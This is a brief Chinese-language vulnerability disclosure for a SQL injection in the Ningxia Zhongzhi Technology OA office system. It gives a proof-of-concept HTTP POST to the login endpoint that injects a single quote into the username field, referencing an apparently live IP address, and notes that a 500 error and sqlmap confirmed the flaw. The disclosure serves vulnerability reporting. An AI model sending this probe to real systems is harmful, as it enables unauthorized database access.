宁夏众智科技OA办公系统存在SQL注入漏洞

漏洞描述

宁夏众智科技OA办公系统存在SQL注入漏洞

漏洞复现

POC

POST /Account/Login?ACT=Index&CLR=Home HTTP/1.1
Host: 
Content-Length: 45
Cache-Control: max-age=0
Origin: http://39.105.48.206
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.105.48.206/Account/Login?ACT=Index&CLR=Home
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

username=admin%27&password=1&RememberMe=false

bp报错500

sqlmap确认漏洞